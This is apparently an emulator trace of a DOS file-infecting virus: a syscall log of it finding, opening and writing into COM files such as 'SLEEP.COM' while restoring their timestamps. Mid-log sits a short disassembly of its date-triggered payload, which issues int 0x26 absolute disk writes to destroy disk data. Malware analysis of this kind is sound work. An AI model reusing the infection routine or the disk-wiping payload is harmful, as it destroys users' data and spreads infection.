2018-12-25T11:59:24.117374887Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.122526456Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.124339737Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.128417374Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.130409714Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.137082455Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:24.139506083Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.14363911Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.155183429Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.163169028Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.165003852Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.171994099Z 66 PC: 13201 | Move file pointer
2018-12-25T11:59:24.173598633Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.180144746Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.182298184Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.185354082Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.189954624Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.194294025Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.202589423Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.206108484Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.208836766Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.217594306Z 64 PC: 130f9 | Write file or device (Write 10 bytes on handle 5)
2018-12-25T11:59:24.22781058Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.229263299Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:24.236940532Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:24.248482361Z 87 PC: 13225 | Get or set file date and time
2018-12-25T11:59:24.250229945Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.260075841Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.270801986Z 37 PC: 130c6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:24.272155106Z 26 PC: 130db | Set disk transfer address
2018-12-25T11:59:24.274899153Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:59:24.285141651Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6449,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:23.267655516Z 26 PC: 12ec2 | Set disk transfer address
2018-12-25T11:59:23.269742825Z 42 PC: 12ec6 | Get date 0x12ec6: cmp cx, 0x7c8
0x12eca: jae 0x12ecf
0x12ecc: jmp 0x12f5a
0x12ecf: cmp dh, 9
0x12ed2: jae 0x12ed7
0x12ed4: jmp 0x12f5a
0x12ed7: cmp dl, 1
0x12eda: je 0x12ede
0x12edc: jmp 0x12f5a
0x12ede: nop
0x12edf: mov al, 2
0x12ee1: push ax
0x12ee2: mov cx, 0x80
0x12ee5: mov dx, word ptr [0x142]
0x12ee9: push ds
0x12eea: mov bx, 0
0x12eed: mov ds, bx
0x12eef: int 0x26
0x12ef1: popf
0x12ef2: pop ds
2018-12-25T11:59:23.282658055Z 53 PC: 12f62 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:23.283553372Z 37 PC: 12f78 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:23.285686799Z 78 PC: 12f8b | Find first file
2018-12-25T11:59:23.29290461Z 67 PC: 13243 | Get or set file attributes
2018-12-25T11:59:23.300157474Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.317017081Z 61 PC: 130e4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:59:23.32364145Z 87 PC: 1320b | Get or set file date and time
2018-12-25T11:59:23.32512387Z 63 PC: 130f0 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:23.332275846Z 62 PC: 13102 | Close file
2018-12-25T11:59:23.334308939Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.344852345Z 79 PC: 12ff8 | Find next file
2018-12-25T11:59:23.348111087Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.355070673Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.368706565Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.376245086Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.378981229Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.385551333Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.387366841Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.398818353Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.402155902Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.408654336Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.420009986Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.427541315Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.429239206Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.4368203Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.43881608Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.44894419Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.452939891Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.458782179Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.468840651Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.4756604Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.482891427Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.491149867Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.493570203Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.699591139Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.702632519Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.707995906Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.80360277Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.809747637Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.81167637Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.819655336Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.821716112Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.832513315Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.836832887Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.849069165Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.85904025Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.867018698Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.868359292Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.875216936Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.877555583Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.888370016Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.891044929Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.897256827Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.909994538Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:23.91712054Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:23.918717313Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:23.925587798Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:23.928226632Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.939183137Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:23.942692722Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.944623595Z 78 PC: 12f8b | Find first file (See above)
2018-12-25T11:59:23.9537301Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:23.961201338Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.30550566Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.312468079Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.315252214Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.320666715Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.322451228Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.33364339Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:24.337702762Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.343929207Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.354305563Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.361273933Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.362929814Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.369471441Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.37172078Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.382081072Z 79 PC: 12ff8 | Find next file (See above)
2018-12-25T11:59:24.385878096Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.392324475Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.402895758Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.410348735Z 87 PC: 1320b | Get or set file date and time (See above)
2018-12-25T11:59:24.412463113Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.419047494Z 66 PC: 13201 | Move file pointer
2018-12-25T11:59:24.421733654Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.428745952Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.431063676Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.434601075Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.436195233Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.439160936Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.446770819Z 63 PC: 130f0 | Read file or device (See above)
2018-12-25T11:59:24.449808358Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.451611275Z 61 PC: 130e4 | Open file (See above)
2018-12-25T11:59:24.458631567Z 64 PC: 130f9 | Write file or device (Write 10 bytes on handle 5)
2018-12-25T11:59:24.462382561Z 66 PC: 13201 | Move file pointer (See above)
2018-12-25T11:59:24.463840585Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:24.470626111Z 64 PC: 130f9 | Write file or device (See above)
2018-12-25T11:59:24.481095612Z 87 PC: 13225 | Get or set file date and time
2018-12-25T11:59:24.482361897Z 62 PC: 13102 | Close file (See above)
2018-12-25T11:59:24.487525619Z 67 PC: 13243 | Get or set file attributes (See above)
2018-12-25T11:59:24.498533843Z 37 PC: 130c6 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:59:24.499851352Z 26 PC: 130db | Set disk transfer address
2018-12-25T11:59:24.501511504Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:59:24.50825434Z 76 PC: 12a86 | Terminate with return code (Return code = '36')